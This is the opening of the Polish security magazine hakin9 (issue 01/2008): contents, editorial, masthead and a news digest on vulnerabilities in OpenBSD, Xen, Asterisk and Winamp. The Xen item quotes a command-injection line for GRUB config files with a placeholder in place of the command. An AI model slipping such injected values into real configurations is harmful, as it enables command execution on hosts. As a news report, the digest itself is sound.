background image
background image
background image
background image

4

www.hakin9.org

hakin9 Nr 01/2008

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

6

Mateusz Stępień

Przedstawiamy  najciekawsze  wiadomości  ze  świata 

bezpieczeństwa systemów informatycznych i nie tylko.

Zawartość CD

10

Prezentujemy zawartość i sposób działania najnowszej 

wersji naszej sztandarowej dystrybucji hakin9.live.

Narzędzia

Recenzja Internet Security Suite

14

Recenzja Teleguard

15

Początki

Domeny – zagrożenia i ich skutki

16

Damian Daszkiewicz

Damian w swoim artykule opisuje jak przenieść domenę 

do innego rejestratora oraz co to jest WHOIS.

Atak

Blind Attack

20

Konrad Malewski

Technika blind scanning pozwala na poznanie niektó-

rych parametrów połączenia zestawionego pomiędzy 

dwoma maszynami w sposób, która nie kieruje podej-

rzeń w stronę źródła ataku. 

Niebezpieczne nazwy plików

30

Michał 'Gynvael Coldwind' Składnikiewicz

Z artykułu dowiesz się, jakie są najczęstsze zaniedba-

nia w implementacji obsługi nazw plików otrzymanych 

z zewnątrz.

Obliczenia pasożytnicze

36

Michał Styś

Michał w swoim artykule przedstawia sposoby wyko-

rzystania  protokołów  sieciowych  do  wykonywania 

obliczeń na komputerach podłączonych do Sieci.

C#.NET. Podsłuchiwanie klawiatury

42

Sławomir Orłowski, Maciej Pakulski

Z tego artykułu dowiemy się jak działąją haki w sys-

temie Windows oraz jak możemy dodawać wpisy   do 

rejestru systemowego. 

Witam!

Drodzy Czytelnicy, mam zaszczyt powitać Was w Nowym 

2008 Roku! Mam nadzieję, że będzie on obfitował w moc 

sukcesów  i  pomyślnych  zdarzeń.  Niech  wirusy  i  robaki 

omijają  Wasze  komputery,  a  producenci  oprogramowania 

dostarczają  coraz  to  nowych  i  jeszcze  szkuteczniejszych 

rozwiązań zapewniających bezpieczeństwo.

Liczę także na to, że tak jak w poprzednim roku, rów-

nież  i  w  tym  spędzicie  parę  chwil  na  lekturze  hakin9'u. 

Zachęcam  do  tego  tym  bardziej,  że  przygotowaliśmy  dla 

Was  wiele  niespodzianek.  Profesjonalne  artykuły,  cieka-

we wywiady, najlepsze programy antywirusowe, konkursy 

z nagrodami oraz wiele innych.

Jedną  z  nowości,  jest  pomysł  organizowania  comie-

sięcznych  spotkań  z  Naszymi  Czytelnikami.  Chcieliby-

śmy  spotkać  się  z  Wami,  porozmawiać,  usłyszeć  opinie 

na temat hakin9u – co moglibyśmy zmienić, jakie rzeczy 

poprawić,  co  Wam  się  podoba  w  naszym  magazynie? 

Oczywiście, zachęcamy również do dzielenia się swoimi 

przemyśleniami  na  temat  pisma  już  teraz.  Czekamy  na 

wiadomości.  Chcemy,  żeby  hakin9  był  jeszcze  bardziej 

profesjonalny, żebyście sięgali po niego z większą cieka-

wością, a przede wszystkim, żeby ta ciekawość została w 

100% zaspokojona.

W tym numerze, przygotowaliśmy dla Was kilka nowych 

artykułów w których znajdziecie wiele praktycznych infor-

macji o tym, jak skutecznie zapewnić bezpieczeństwo nie 

tylko danym znajdującym się na dyskach Waszych kom-

puterów,  ale  także  samym  maszynom.  Nie  zapomnieli-

śmy też o stałych punktach programu. W magazynie, tra-

dycyjnie:  wiadomości,  recenzje  książek  –  w  tym  miesią-

cu E-biznes bez ryzyka. Zarządzanie bezpieczeństwem w 

Sieci autorstwa Jonathana Reuvida oraz PHP Bezpieczne 

Programowanie, którą napisał Chris Shiflett, a także opis 

nowych narzędzi oraz płyta CD, na której oprócz progra-

mów znajdziecie kolejną część filmu instruktażowego na 

temat ataku SQL Injection z użyciem Union Select.

Drodzy  Czytelnicy,  nie  pozostaje  mi  nic  innego,  jak 

zaprosić Was do lektury.

Barbara Czułada

background image

4

www.hakin9.org

hakin9 Nr 01/2008

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

Obrona

Fizyczne 

bezpieczeństwo serwerów

50

Rafał Podsiadły

Nie  wiesz  jak  fizycznie  zabezpieczyć  swój  serwer, 

jakich narzędzi użyć?

Heurystyka 

w programach antywirusowych

58

Jakub Dębski

Artykuł Jakuba Dębskiego pokazuje czym jest heury-

styka w programach antywirusowych, jakie są rodza-

je wykorzystywanych heurystyk oraz przed jakimi pro-

blemami stają ich twórcy.

Bezpieczna Firma

Bezpieczeństwo teleinfomatyczne 

danych niejawnych

66

Andrzej Guzik

Andrzej pokaże nam sposoby ochrony informacji nie-

jawnych  przetwarzanych  w  systemach  komputero-

wych i sieciach teleinformatycznych.

Księgozbiór

72

Recenzujemy książki E-biznes bez ryzyka. Zarządza-

nie bezpieczeństwem w Sieci, PHP Bezpieczne Pro-

gramowanie oraz Podstawy ochrony komputerów.

Wywiad

Wywiad z

Marcinem Piołunem-Noyszewskim

74

Katarzyna Juszczyńska

Rozmowa z prezesem firmy M2 NET, która jest nie-

zależnym producentem oprogramowania tworzącym 

zaawansowane rozwiązania związane z bezpieczeń-

stwem i działalnością biznesową.

Felieton

Czy hakerzy są źli?

78

Rafał Bednarski

Zapowiedzi

82

Zapowiedzi artykułów, które znajdą się w następnym 

wydaniu naszego pisma.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor wydawniczy: 
Sylwia Pogroszewska

Redaktor naczelny: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Redaktor prowadzący: Robert Gontarski

robert.gontarski@software.com.pl

Asystentka: Barbara Czułada

barbara.czułada@software.com.pl

Wyróżnieni betatesterzy: Ewa Rutkowska, Marcin Kosedowski

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Robert Zadrożny robert.zadrozny@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o., 

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 427 36 77, Fax +48 22 427 36 69

www.hakin9.org 

Osoby zainteresowane współpracą prosimy o kontakt: 

cooperation@software.com.pl

Druk: 101 Studio, Firma Tęgi 

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na 

towarzyszących mu nośnikach informacje i programy były poprawne, 

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich; 

nie gwarantuje także poprawnego działania programów shareware, 

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich 

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano 

program 

 firmy 

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit 

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu 

UWAGA! 

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej 

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem 

na jego szkodę i skutkuje odpowiedzialnością sądową.

hakin9  ukazuje  się  w  następujących  krajach:  Hiszpanii,  Argentynie, 

Portugalii,  Francji,  Belgii,  Luksemburgu,  Kanadzie,  Maroko,  Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji. 

Prowadzimy  również  sprzedaż  kioskową  w  innych  krajach  europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

PL

 

  ES 

   CZ             EN       

IT                FR            DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie 
we własnych sieciach lokalnych.
Redakcja  nie  ponosi  odpowiedzialności  za  niewłaściwe  użycie 
prezentowanych technik ani spowodowaną tym utratę danych.

background image

W skrócie

hakin9 Nr 01/2008

www.hakin9.org

6

Mateusz Stępień

www.hakin9.org

7

hakin9 Nr 01/2008

McAfee przejmuje SafeBoot

Firma McAfee, światowy lider w dzie-

dzinie produktów antywirusowych, 

zapór i programowych zabezpieczeń 

internetowych, ogłosiła decyzję 

o przejęciu holenderskiego producen-

ta systemów kontroli dostępu 

i szyfrowania danych – firmy SafeBo-

ot. Oprogramowanie firmy McAfee 

używane jest aktualnie na ponad 

100 milionach komputerów, przeję-

cie SafeBoot pozwoli zaoferować ich 

użytkownikom funkcjonalność szy-

frowania danych – dzięki aplikacji 

Data Protection Suite, która pozwa-

la na szyfrowanie plików, katalogów 

i całych partycji na wszelkiego typu 

urządzeniach przenośnych, notebo-

okach i palmtopach. Kwota transakcji 

wyniosła około 350 milionów dolarów, 

jednak zakup SafeBoot nie jest jedy-

nym nabytkiem planowanym przez 

McAfee w najbliższym czasie.

OpenBSD łata dziurę 

w serwerze DHCP 

Firma Core Security odkryła poważ-

ny błąd w zabezpieczeniach serwe-

ra DHCP wykorzystywanego

w wolno dostępnym systemie ope-

racyjnym OpenBSD 4.0, 4.1 oraz 

4.2. Błąd jest o tyle poważny, że 

atakujący, który ma dostęp do sieci 

lokalnej, może przy użyciu odpo-

wiednio spreparowanego żąda-

nia DHCP unieruchomić dowol-

ną usługę. Specjaliści z Core Secu-

rity wykryli w funkcji cons_options 

(

src/usr.sbin/dhcpd/options.c

błąd przepełnienia bufora. Warto też 

przypomnieć, że ostatnio odkryto 

podobny błąd także w oprogramo-

waniu serwera DHCP używanego 

przez aplikacje do wirtualizacji firmy 

Vmware.

NEC izoluje szkodliwy kod

F

irma  NEC  –  międzynarodo-
we konsorcjum z sektora infor-

matycznego  z  siedzibą  w  Minato 
w Japonii – opracowała nową tech-
nologię,  która  pozwala  na  wykry-
cie,  odizolowanie  i  zatrzymanie 
działania wirusa na poziomie rdze-
nia  procesora.  Technologia  jest 
o tyle ciekawa, że stworzona zosta-
ła  dla  procesorów  wielordzenio-
wych,  dzięki  czemu  nie  przeszka-
dza  w  sprawnym  działaniu  całego 
systemu.  Głównym  założeniem 
nowej  technologii  jest  uruchamia-
nie  każdego  programu  w  oddziel-
nym  procesie  na  osobnych  rdze-
niach  wielordzeniowego  CPU. 
Ten  innowacyjny  pomysł  inżynie-
rów  firmy  NEC  skutecznie  zapo-
biega  rozprzestrzenieniu  się  szko-
dliwego  kodu  po  całym  systemie  i 

przedostanie się do sieci, a rdzeń, 
w  którym  uruchamia  się  wirus, 
zostaje  chwilowo  wyłączony.  NEC 
nie  wymyślił  jeszcze  nazwy  dla 
swojej  technologii.  Technologię 
można  wykorzystać  w  telefonach 
komórkowych, samochodach i naj-
prawdopodobniej w komputerach.

NEC  Corporation  to  japońska 

firma  produkująca  sprzęt  kompu-
terowy,  telekomunikacyjny,  urzą-
dzenia  elektroniczne  i  oprogra-
mowanie,  między  innymi  notebo-
oki  Versa  oraz  Lavie.  NEC  został 
założony  przez  Kunihiko  Iwadare 
wraz  z  grupą  współpracowników 
w  1899  r.  Jeden  z  założycieli 
pochodził z USA.

Odkryto lukę w oprogramowaniu 

wirtualizacyjnym Xen

J

oris  van  Rantwijk  wykrył  błąd 
w  środowisku  wirtualizacji  Xen, 

umożliwiający użytkownikowi z upra-
wnieniami  root’a  w  domenie  gościa 
wykonać  dowolne  polecenia  w  do-
menie 0, czyli w samym kontrolerze, 
nadzorującym pracę środowiska wir-
tualizacji. 

Bezpośrednim  źródłem  błędu 

jest 

skrypt 

tools/pygrub/src/

GrubConf.py, który odczytuje dane 
z  pliku  konfiguracyjnego  GRUB’a 
(boot/grub/grub.conf)  i  próbuje 
ustawić  odpowiednie  parametry 
używając funkcji exec bez popraw-
nego  sprawdzania  przekazywa-
nych parametrów.

Podczas kolejnego restartu odpo-

wiednio przygotowany plik konfigura-
cyjny może zostać wykorzystany do 
przekazania poprzez skrypt działają-
cy  w  domenie  0  poleceń  do  shell’a 
i ich wykonania.

Joris  van  Rantwijk  w  swoim 

wpisie w Bugzilli na Xensource.com 
zaprezentował  przykładową  linię 
wywołania:

default "+str(0*os.system(
      " insert evil command here "))+" 

Błąd  został  znaleziony  w  wersji 
3.0.3, starsze wersje również mogą 
być  podatne  na  ten  rodzaj  ataku. 
Na chwilę obecną nie udostępniono 
poprawki.

Xen  to  monitor  maszyn  wirtu-

alnych  na  licencji  open  source, 
opracowany na Uniwersytecie Cam-
bridge  i  rozwijany  przez  firmę 
XenSource. 

Ma  ono  za  zadanie  obserwo-

wanie  maszyn  wirtualnych  uru-
chomionych  w  jego  środowisku 
i dbanie o to, aby nie zakłócały one 
wzajemnie  swojej  pracy  i  aby  ich 
równoczesne  działanie  nie  obni-
żało w znaczący sposób wydajno-
ści systemu.

background image

W skrócie

hakin9 Nr 01/2008

www.hakin9.org

6

Mateusz Stępień

www.hakin9.org

7

hakin9 Nr 01/2008

Oprogramowanie 

Open Source 

nie jest bezpieczne

Firma Fortify Software, zajmują-

ca się bezpieczeństwem i oferu-

jąca produkty chroniące bardzo 

duże firmy przed największym 

niebezpieczeństwem – czyli apli-

kacjami, które pracują wewnątrz 

tych przedsiębiorstw – przygo-

towała ciekawy raport, z któ-

rego wynika, że hakerzy coraz 

częściej używają aplikacji Open 

Source do przeprowadzania 

ataków. Przedstawiciel Forti-

fy Software, Brian Chess, twier-

dzi: Ten nowy rodzaj zagro-

żeń świadczy o tym, że hake-

rzy bardzo uważnie przygląda-

ją się procesowi powstawania 

oprogramowania. Włamywacze 

nadal wykorzystują luki w aplika-

cjach już dostępnych na rynku. 

Coraz częściej jednak sami wpły-

wają na kształt nowego oprogra-

mowania, umieszczając w nim 

luki, zanim jeszcze zostanie ono 

ukończone.

51 poprawek Oracle'a

Oracle przedstawił zestaw 

51 poprawek bezpieczeństwa. 

Zamykają one między innymi 

pięć poważnych luk, które można 

wykorzystać do przeprowadze-

nia zdalnych ataków. Luki zna-

leziono w następujących pro-

duktach Oracle'a: Oracle Data-

base (27 poprawek), Oracle 

Application Server (11 popra-

wek), Oracle E-Business Suite 

(8 poprawek), Enterprise Mana-

ger Database Control (2 popraw-

ki), a także Peoplesoft Enterprise 

(3 poprawki).

Bramka zabezpieczająca UTM

F

irma  PLANET  Technology, 
globalny  lider  technologii  sie-

ciowych  opartych  na  protokole 
IP,  zaprezentowała  nową  bramkę 
zabezpieczającą  UTM  o  nazwie 
CS-2000,  w  której  zaadaptowano 
algorytm analizy heurystycznej do 
filtrowania  poczty  elektronicznej 
pod kątem spamu i wirusów. 

Samouczący  się  system  potra-

fi  podnosić  swą  efektywność 
w identyfikacji spamu, a wbudowa-
ny twardy dysk o pojemności 80GB 
zapewnia wystarczającą ilość miej-
sca  dla  maili  poddanych  kwaran-
tannie. 

Mechanizm antywirusowy posia-

da dwa silniki skanujące: Clam oraz 
Sophos, dzięki czemu jest w stanie 
skutecznie  zdiagnozować  wirusy, 

robaki  i  inne  zagrożenia  w  poczcie 
elektronicznej i przesyłanych z Inter-
netu  plikach.  Urządzenie  przesyła 
raporty  dzienne,  tygodniowe,  mie-
sięczne i roczne poprzez e-mail, co 
pozwala  administratorowi  na  łatwe 
monitorowanie statusu sieci. 

CS-2000  –  dzięki  wbudowane-

mu  firewall’owi  i  zabezpieczeniom 
IDP  –  chroni  również  przed  wła-
maniami hakerów i innymi atakami 
płynącymi  ze  strony  Internetu  lub 
intranetu. 

Wbudowane  dwa  porty  WAN 

umożliwiają  bramce  balansowanie 
obciążenia  dla  ruchu  wchodzące-
go i wychodzącego oraz zapewnia-
ją ciągły dostęp do sieci WAN nawet 
w wypadku awarii jednego z łącz.

Poprawki bezpieczeństwa

dla Asteriska 1.4

D

eweloperzy  darmowego  opro-
gramowania  Asterisk,  służą-

cego do obsługi systemów telefonii,
wydali  nową  wersję  oznaczoną 
numerkiem  1.4.13,  w  której  usunię-
to  dwa  poważne  błędy  związane 
z funkcjonowaniem poczty głosowej. 
W  kodzie  podsystemu  Voice-Mail 
Asteriska,  który  korzysta  z  protoko-
łu IMAP, znaleziono poważną uster-
kę  polegającą  na  niebezpiecznym 
użyciu  funkcji  sprintf().  Usterka  jest 
bardzo poważna i pozwala na zawie-
szenie  systemu  lub  wprowadzenie 
do niego dowolnego kodu. Żeby błąd 
wystąpił,  napastnik  musi  spreparo-
wać  nagłówki  Content-Type  i  Con-
tent
-Description  w  taki  sposób,  aby 
ich  długość  przekroczyła  w  sumie 
1024  bajty.  Zagrożone  występo-
waniem  błędów  są  jedynie  wyda-
nia  Asterisk  Open  Source  o  nume-
rze wersji mniejszym niż 1.4.13. Lukę 
w Voice-Mail odkrył dostawca usług 

z  zakresu  bezpieczeństwa,  firma 
Diginum.  Asterisk  został  stworzony 
przez  Marc'a  Spencer'a  pod  szyl-
dem  firmy  Digium.  Z  małymi  wyjąt-
kami  jest  udostępniony  na  zasa-
dach Free software license. Obecnie 
Asterisk  może  działać  pod  kontrolą 
Windows, BSD i OS X, jednak jego 
natywnym  środowiskiem  jest  Linux, 
i dla niego też zapewnione jest naj-
większe  wsparcie.  Asterisk  jest 
także  macierzystym  środowiskiem 
protokołu wykrywania usług VoIP.

background image

W skrócie

hakin9 Nr 01/2008

www.hakin9.org

8

Mateusz Stępień

www.hakin9.org

9

hakin9 Nr 01/2008

Ubuntu Gutsy Gibbon

Ukazała się nowa wersja dystry-

bucji Ubuntu 7.10 o nazwie kodo-

wej Gutsy Gibbon. W nowym 

Ubuntu znajdziemy między innymi 

środowisko GNOME w wersji 

2.20, domyślnie włączone efekty 

graficzne Compiz Fusion i zainsta-

lowaną wtyczkę Gnash do odtwa-

rzania animacji Flash. Ubuntu 

Gutsy Gibbon zawiera jądro 

2.6.22 i podsystem grafiki Xorg 

7.3 z obsługą RandR 1.2 oraz 

z xserver 1.4. Pojawiły się także 

sterowniki do niektórych tzw. win-

modemów. Twórcy Ubuntu popra-

wi również system raportowa-

nia przy instalacji i aktualiza-

cjach pakietów, a także zgłaszania 

padów jądra, które będą wyłapy-

wane podczas restartu.

Panda 2008 już w sprzedaży

W sprzedaży pojawiły się najnow-

sze rozwiązania przeznaczone do 

ochrony komputerów firmy Panda 

Security na rok 2008. Firma przy-

gotowała trzy zestawy produktów: 

Panda Internet Security 2008, 

program Panda Antivirus + Fire-

wall 2008 i samodzielną aplika-

cję antywirusową Panda Antivi-

rus 2008. Wszystkie produkty na 

rok 2008 zawierają nowy model 

ochrony megadetection, który 

znacznie zwiększa wykrywalność 

wirusów i innych zagrożeń. 

Internet Explorer 7 dla każdego

G

igant z Redmond, firma Micro-
soft,  udostępniła  przeglądar-

kę  Internet  Explorer  7  wszystkim 
chętnym,  nie  tylko  właścicielom 
oryginalnych  kopii  Windows.  Dzi-
siejsza  poprawka  Installation  and 
Availability  umożliwia  pobranie 
Internet  Explorera  7  bez  przecho-
dzenia  WGA  (Windows  Genuine 
Advantage).  Przeglądarka  będzie 
dostępna  dla  wszystkich  użytkow-
ników  Windows  XP
  –  czytamy  na 
firmowym blogu. 

Przypomnijmy, że Windows Ge-

nuine  Advantage  (WGA)  jest  czę-
ścią  inicjatywy  Microsoft  Genuine 
Software  Initiative,  której  zada-
niem  jest  udostępnianie  aplika-
cji  wyłącznie  tym  użytkownikom, 
którzy posiadają oryginalne wersje 
systemu  operacyjnego  Windows.
Firma z Redmond ujawnia, że zre-
zygnowała z WGA z powodów bez-
pieczeństwa: Bardzo zależy nam na 
tym, by skutecznie chronić wszyst-
kich użytkowników, czyli cały 'eko-
system  Windows'  –  dlatego  też 

postanowiliśmy  rozszerzyć  możli-
wość korzystania z IE7 na wszyst-
kie  systemy  Windows.  Oznacza 
to,  że  do  zainstalowania  najnow-
szej wersji naszej przeglądarki nie 
będzie  już  niezbędne  przeprowa-
dzenie weryfikacji legalności syste-
mu
 – tłumaczy Steve Reynolds.

Tristan  Nitot  z  Mozilli  twier-

dzi,  że  udostępnienie  przeglądar-
ki  wszystkim  użytkownikom  Win-
dows  jest  spowodowane  obawą 
o utratę rynku. Myślę, że IE7 rozpo-
wszechnia się zbyt wolno, częścio-
wo  ze  względu  na  WGA
  –  stwier-
dził Nitot.

Linspire 6.0 z licencjami Microsoftu

U

kazała  się  najnowsza  wersja 
komercyjnego  systemu  ope-

racyjnego  Linspire  6.0,  bazujące-
go na Ubuntu Feisty Fawn. Linspi-
re 6 jest pierwszą wersją, która jest 
objęta ochroną patentową wynika-
jącą z umowy z Microsoftem. Zało-
żeniem  twórców  było  stworzenie 
w  pełni  funkcjonalnego  systemu 
operacyjnego,  który  nie  posiada 
tak widocznych braków w oprogra-
mowaniu  i  funkcjach,  jak  w  przy-
padku  najpopularniejszych  dar-
mowych dystrybucji Open Source. 
Nowy  Linspire  oferuje  domyślnie 
zainstalowane  kodeki  do  odtwa-
rzania filmów QuickTime, Windows 
Media,  Flash,  Real  oraz  wspar-
cie  dla  formatu  Microsoft  Office 
Open  XML.  Linspire  6  oferuje 
dostęp do portalu CNR, z którego
można  łatwo  zainstalować  ponad 
20  tysięcy  darmowych  i  płatnych 
aplikacji,  a  oprócz  tego  znajdzie-
my  w  nim  zestaw  autorskich  apli-

kacji  –  między  innymi  Lphoto 
i  Lsongs.Larry  Kettler,  dyrek-
tor  generalny  korporacji  Linspire, 
powiedział  o  najnowszym  produk-
cie:  Nadal  kontynuujemy  tradycję
Linspire,  oferując  jeszcze  lepsze 
możliwości  nowym  użytkowni-
kom  systemu  Linux.  Linspire  6.0 
pomniejsza przepaść między opro-
gramowaniem  open  source  a  ko-
mercyjnymi  aplikacjami,  łącząc 
najlepsze cechy obu stron w jeden, 
łatwy w użytkowaniu i produktywny 
system operacyjny

background image

W skrócie

hakin9 Nr 01/2008

www.hakin9.org

8

Mateusz Stępień

www.hakin9.org

9

hakin9 Nr 01/2008

Botnety lubią Linuksa?

Największy serwis aukcji interne-

towych na świecie, portal eBay, 

planuje w niedługiej przyszło-

ści przekształcić swojego Pay-

Pal'a - system, który umożli-

wia wysyłanie i otrzymywanie 

bezpiecznych płatności każde-

mu, kto jest posiadaczem konta 

e-mail - w bezpieczny interneto-

wy bank. Dave Cullinane, który 

jest główną osobą odpowiedzial-

ną za bezpieczeństwo IT w eBay, 

podczas konferencji, która odbyła 

się w Santa Clara, podzielił się 

swoimi ciekawymi spostrzeże-

niami z czasów, gdy pracował 

w Washington Mutual – jednym 

z największych amerykańskich 

banków. Cullinane mówił między 

innymi o tym, że jego bank był 

bardzo często atakowany przez 

cyberprzestępców, a raz zdarzy-

ło się, iż przez cały miesiąc był 

celem największego wówczas 

ataku w USA. To była niezwykle 

zaawansowana technika ataku, 

a większość użytkowników nawet 

nie zdawała sobie sprawy z faktu, 

że ich komputer jest częścią bot-

neta. Odcinaliśmy poszczególne 

maszyny, które zawierały phishin-

gowe oprogramowanie, 

a ich użytkownicy nie mieli poję-

cia, że cyberprzestępcy wykorzy-

stują ich komputery. Wiele z nich 

to były serwery należące do firm 

i uczelni. Dave Cullinane stwier-

dził też, że: Zdecydowana więk-

szość szkodliwych witryn znaj-

dowała się na komputerach pra-

cujących pod kontrolą Linuksa, 

co nas bardzo zdziwiło. Spodzie-

waliśmy się znacznej przewagi 

maszyn, na ktorych zainstalowa-

ny był Windows, ale tym razem 

było inaczej.

Wyeliminowano błąd w WinAmpie

W

ydano  nową  wersję  popular-
nego  odtwarzacza  multime-

dialnego Winamp 5.5, która zawie-
ra poprawkę eliminującą błąd prze-
kroczenia  zakresu  liczby  całkowi-
tej w module służącym do przetwa-
rzania  danych  zapisanych  z  uży-
ciem  bezstratnego  formatu  audio 
o  nazwie  FLAC.  Problem  jest  na 
tyle  poważny,  że  po  uruchomie-
niu  odpowiednio  spreparowanego 
pliku  Free  Lossless  Audio  Codec 
następuje  przepełnienie  bufora, 
dzięki  któremu  włamywacz  może 
wykorzystać  komputer  użytkow-
nika  do  wykonania  dowolnego 
kodu. Wykryty błąd dotyczył wersji 
Winampa  5.35  Full.  Specjaliści 
zalecają  aktualizację  do  Winampa 

5.5 albo ręczne usunięcie bibliote-
ki libFLAC.

eTokeny Aladdina zabezpieczają 

telefony Virgin Mobile we Francji

A

laddin Knowledge Systems roz-
począł współpracę z siecią tele-

fonii  komórkowej  Virgin  Mobile  we 
Francji.  W  wyniku  zawartej  umowy 
ponad  3  tysiące  dystrybutorów 
w  całym  kraju  zostało  wyposażo-
nych  w  rozwiązania  eToken.  Virgin 
Mobile  udostępnia  część  swojego 
systemu  informatycznego  stronom 
trzecim.  Odbywa  się  to  za  pośred-
nictwem  Internetu  i  ma  rozproszo-
ny  charakter.  W  takich  sytuacjach 
palącą  potrzebą  jest  właściwa 
ochrona  systemu  i  odpowiednie 
zarządzanie  dostępem  do  niego. 
eTokeny  poprzez  zastosowanie 
dwupoziomowego  modelu  uwie-
rzytelnienia  wprowadzają  wydaj-
ny i szczelny system zabezpieczeń. 
Dodatkowo  system  TMS  wspoma-
ga  firmę  w  zarządzaniu  infrastruk-
turą eTokenów
. – powiedział Shlomi 
Yanai,  wiceprezes  firmy  Aladdin. 
Dzięki  wyposażeniu  dystrybuto-
rów  w  dwustopniowy  klucz  uwie-
rzytelnienia eTokenu NG-OTP, sieć 
Virgin  Mobile  osiągnęła  wysoki 
poziom  bezpieczeństwa  aktywacji 
telefonów w całej Francji – poprzez 
zabezpieczenie  przed  nieautory-
zowanymi  użytkownikami,  którzy 
mogliby  zdobyć  dostęp  do  danych 

firmy.  eToken  NG-OTP  to  jeden 
z  najbardziej  innowacyjnych  rodza-
jów  tokenów.  NG-OTP  jest  bardzo 
elastycznym  i  uniwersalnym  urzą-
dzeniem wspierającym wiele rozwią-
zań do autoryzacji dostępu i współ-
pracuje  z  różnymi  rodzajami  sieci 
oraz  aplikacji.  Aladdin  Knowledge 
Systems  to  izraelska  firma  infor-
matyczna, która powstała w 1985 r. 
ptOd  1993  r.  Aladdin  specjalizuje 
się  w  tworzeniu  rozwiązań  wspo-
magających zarządzanie dostępem 
do  oprogramowania  (Digital  Rights 
ManagementDRM) oraz zabezpie-
czanie go przed piractwem i niekon-
trolowanym wykorzystywaniem.

background image

hakin9.live

hakin9 Nr 01/2008

www.hakin9.org

10

N

a dołączonej do pisma płycie znajduje się haki-
n9.live
 (h9l) w wersji 4.0.2 on BackTrack2.0, za-
wierająca  przydatne  narzędzia,  dokumentację, 

tutoriale i materiały dodatkowe do artykułów. Aby zacząć 
pracę z hakin9.live, wystarczy uruchomić komputer z CD. 
Po  uruchomieniu  systemu  możemy  zalogować  się  jako 
użytkownik hakin9 bez podawania hasła.

Pełne wersje programów:

•   DTweak,
•   Novosoft Office Backup 2.2, 
•   Dr.Web  for  Windows  File  Servers  (wersja  6-mie-

sięczna),

•   System Safety Monitor (wersja 6-miesięczna),
•   ArcaVir 2007 (wersja 3-miesięczna),
•   Stellar Phoenix Windows Recovery.

Filmy instruktażowe:

•   Drugi odcinek – Atak SQL Injection z użyciem Union 

Select.

   Kolejny odcinek z serii filmów instruktażowych przed-

stawiających  najpopularniejsze  metody  ataków  na 
strony internetowe.

DTweak

Narzędzie  poprawiające  wydajność  i  wygląd  systemów 
z rodziny Windows. Działa w wersjach XP, 2003, Vista. 
Dzięki  wbudowanym  funkcjom  można  w  łatwy  sposób 
oczyścić dysk i rejestr ze zbędnych danych, zdefragmen-
tować zarówno dysk, jak i rejestr oraz zmienić wiele ukry-
tych  w  systemie  opcji.  Program  został  zaprojektowany 
przede wszystkim dla Visty.

Przy rejestracji użyj zakładki Register for FREE Now

wprowadź swoje imię i nazwisko oraz adres e-mail. Po 
rejestracji wersja 10-dniowa stanie się wersją bez ograni-
czeń czasowych.

Novosoft Office Backup 2.2

Jedno z najlepszych narzędzi do tworzenia kopii zapa-
sowych.  W  łatwy  sposób  sporządzimy  backup  zdjęć, 
dokumentów i wielu innych wartościowych dla nas pli-
ków.  Oferuje  dwa  tryby  tworzenia  kopii:  standardowy 
i ekspercki. Istnieje możliwość filtrowania plików, kom-
presji,  szyfrowania  danych.  Poza  tym  Office  Backup 
posiada rozbudowany system wtyczek pozwalających 
na tworzenie kopii e-maili z różnych klientów poczto-
wych,  danych  przeglądarek  WWW,  komunikatorów, 
menadżerów haseł itd. Potrafi także zsynchronizować 

Zawartość CD

się z zewnętrznym serwerem FTP. Ważną funkcją jest 
również  planowanie  automatycznego  tworzenia  kopii 
zapasowych  (dzienne,  tygodniowe,  miesięczne).  Pro-
gram  dokuje  się  w  zasobniku  systemowym,  informu-
jąc przy pomocy swojej ikonki o statusie aktualnie wy-
konywanego zadania. Kopie zapasowe można bezpo-
średnio  umieszczać  na  wielu  różnych  nośnikach,  jak 
np.  HDD,  płyty  CD/DVD/HD/Blue-Ray,  USB,  LAN, 
FTP itd. Poza tym mamy do dyspozycji obsługę skryp-
tów.  Program  został  zaprojektowany  dla  systemów 
z rodziny Windows w wersjach od 2000 do Vista.

Dr.Web for file servers 

Windows NT/2000/2003

Produkt z rodziny Dr.Web przeznaczony do ochrony ser-
werów plików Windows NT/2000/2003. 

Kluczowe funkcje:

•   kontrola wszystkich operacji plikowych w czasie rze-

czywistym,

•   dostępność  trybów  skanowania:  w  czasie  rzeczywi-

stym, na żądanie, wg. terminarza,

•   unikalna technologia zarządzania zasobami serwera 

(odraczanie  testowania  plików  otwieranych  tylko  do 
odczytu),

•   automatyczna aktualizacja,
•   logowanie zdarzeń.

Unikalna technologia zarządzania zasobami, umożliwia-
jąca  odroczenie  testu  plików  otwartych  tylko  do  odczy-
tu, pozwala na zapamiętywanie żądań dostępu do plików 
przechowywanych  na  serwerze  i  testowanie  ich  w  mo-
mencie zwolnienia zasobów systemowych. Dzięki temu 
wydajność antywirusa Dr.Web jest ograniczona tylko wy-
dajnością chronionego serwera. 

Dr.Web  Anti-Virus  poprawnie  sprawdza  różne  ty-

py  archiwów  -  skompresowane,  wielowolumenowe 
i  samorozpakowujące  się  (SFX).  Dodatkowo  Dr.Web 
sprawdza  również  pliki  spakowane  różnymi  rodzaja-
mi pakerów.

Pliki  czy  aplikacje  mogą  zostać  przetestowane 

w  poszukiwaniu  wirusów  i  innego  szkodliwego  opro-
gramowania  w  locie  (on-the-fly),  na  żądanie  admi-
